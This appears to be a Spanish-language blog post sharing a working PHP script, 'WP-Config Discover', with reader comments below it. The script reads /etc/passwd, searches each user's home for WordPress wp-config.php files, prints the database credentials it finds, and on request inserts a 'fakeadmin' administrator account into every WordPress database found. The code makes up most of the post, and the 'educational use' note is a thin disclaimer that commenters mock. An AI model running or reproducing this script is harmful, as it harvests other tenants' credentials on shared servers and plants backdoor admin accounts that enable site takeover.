WP-Config Discover: Héchale un vistazo a todos los WordPress del servidor

matrixwordpressWP-Config Discover es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario www-data sobre el fichero wp-config.php.

Como todos saben, wordpress al igual que todos los cms, guardan la configuración de la base de datos (usuario, password, host, prefijo de las tablas, etc) en un fichero, el cual debe ser legible por el usuario que está corriendo el servicio http (generalmente apache/www-data).

Código

  1. < ?php
  2. $paths = array(
  3.     "blog",
  4.     "site",
  5.     "html",
  6.     "www",
  7.     "html/blog",
  8.     "www/blog",
  9.     "site/blog",
  10.     "wordpress",
  11.     "wp",
  12.     "www/wp",
  13.     "www/wordpress",
  14.     "html/wordpress",
  15.     "html/wp",
  16.     "public_html",
  17.     "public_html/blog",
  18.     "public_html/wp",
  19.     "public_html/wordpress",
  20. );
  21. $files = array(
  22.     "wp-config.php",
  23. );
  24. print "Checking for ….\n";
  25. if(!is_readable("/etc/passwd"))    die("err0r: can’t read /etc/passwd (safe mode?)");
  26. $_f = @file("/etc/passwd");
  27. foreach($_f as $usr){
  28.     $usr = explode(":", $usr);
  29.     $uid = $usr[2];
  30.     $home = $usr[5];
  31.     $usr = $usr[0];
  32.     if($uid >= 1000){
  33.         print $usr." (uid:".$uid."): ".$home."\n";
  34.         foreach($paths as $path){
  35.             if(file_exists($home."/".$path)) {
  36.             print "\tSearching in ".$home."/".$path."\n";
  37.                 foreach($files as $file){
  38.                     if(file_exists($home."/".$path."/".$file)){
  39.                          print "\t\tFound: ".$file."\n";
  40.                         $__f = @file($home."/".$path."/".$file);
  41.                         foreach($__f as $line){
  42.                             if(stristr($line, "DB_USER")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output); print "\t\t\t".str_replace("DB_USER’, ","usr=>", $output[1][0])."\n"; }
  43.                             if(stristr($line, "DB_PASSWORD")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output2); print "\t\t\t".str_replace("DB_PASSWORD’, ", "pwd=>", $output2[1][0])."\n"; }
  44.                             if(stristr($line, "DB_NAME")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output3); print "\t\t\t".str_replace("DB_NAME’, ", "db=>", $output3[1][0])."\n"; }
  45.                             if(stristr($line, "DB_HOST")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output4); print "\t\t\t".str_replace("DB_HOST’, ", "host=>", $output4[1][0])."\n"; }
  46.                             if(stristr($line, "\$table_prefix")) { preg_match_all(‘/\$table_prefix(.*);/’, $line, $output5); print "\t\t\tprefix".$output5[1][0]."\n"; }
  47.                             flush();
  48.                         }
  49.                         print "\t\t\tURL: ".getURL($output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  50.                         if($_GET[‘attack’] == "create_user") print "\t\t\tUser/pass created: ".UserAdmin("create", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  51.                         if($_GET[‘attack’] == "delete_user") print "\t\t\tfakeadmin deleted: ".UserAdmin("delete", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  52.                         flush();
  53.                     }
  54.                 }
  55.             }
  56.             flush();
  57.         }
  58.         flush();
  59.     }
  60. }
  61. function getURL($user, $pass, $db, $host, $prefix){
  62.     preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
  63.     preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
  64.     preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
  65.     preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
  66.     preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
  67.     $sql = @mysql_connect($host, $user, $pass);
  68.     @mysql_select_db($db);
  69.     $_q = @mysql_query("SELECT option_value FROM ".$prefix."options WHERE option_name=’siteurl’", $sql);
  70.     @mysql_close($sql);
  71.     return @mysql_result($_q, 0, ‘option_value’);
  72. }
  73.  
  74. function UserAdmin($action, $user, $pass, $db, $host, $prefix){
  75.         preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
  76.         preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
  77.         preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
  78.         preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
  79.         preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
  80.         $sql = @mysql_connect($host, $user, $pass);
  81.         @mysql_select_db($db);
  82.     if($action == "create"){
  83.         $wp_uid = rand(9990,99999);
  84.         @mysql_query("INSERT INTO ".$prefix."users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(".$wp_uid.", ‘fakeadmin’, md5(‘dummie’), ‘wordpress’, ‘dummie@wordpress.cl’, ‘https://’, NOW(), ”, 0, ‘wordpressdummieadmin’)", $sql);
  85.         @mysql_query("INSERT INTO ".$prefix."usermeta (user_id, meta_key, meta_value) VALUES (".$wp_uid.", ‘wp_capabilities’, ‘a:1:{s:13:\"administrator\";b:1;}’ )", $sql);
  86.     }
  87.     if($action == "delete"){
  88.         mysql_query("DELETE FROM ".$prefix."usermeta WHERE user_id=(SELECT id FROM ".$prefix."users WHERE user_login=’fakeadmin’)", $sql);
  89.         mysql_query("DELETE FROM ".$prefix."users WHERE user_login=’fakeadmin’", $sql);
  90.     }
  91.     @mysql_close($sql);
  92.     return "fakeadmin/dummie";
  93. }
  94. ?>

Este script tiene dos funciones embedidas, las cuales se deben llamar pasando pasando las variables attack=create_user o attack=delete_user. La primera crea un usuario admin (falso) en todos los wordpress y con la segunda, se eliminan estos usuarios creados.

Conceptualmente es un script muy sencillo pero en un servidor sin protecciones podría ser mortal.

El código está disponible tambien en https://codes.zerial.org/php/wp-config_discover.phps

nota: queda de más decir que es para uso educativo y es una herramienta de auditoría 🙂

5 comentarios

  1. Notable Zerial, buenas ideas y buen trabajo.

  2. ja! educativo!

  3. como pongo a ejecutal el script?

  4. paulino perez: Desde consola, usando el php-cli (command line interface)

    saludos

  5. si instalo un servidor local en mi pc ¿puedo hacer correr este script y encontrar la pass de un sitio hecho en wordpress?

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Esto sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.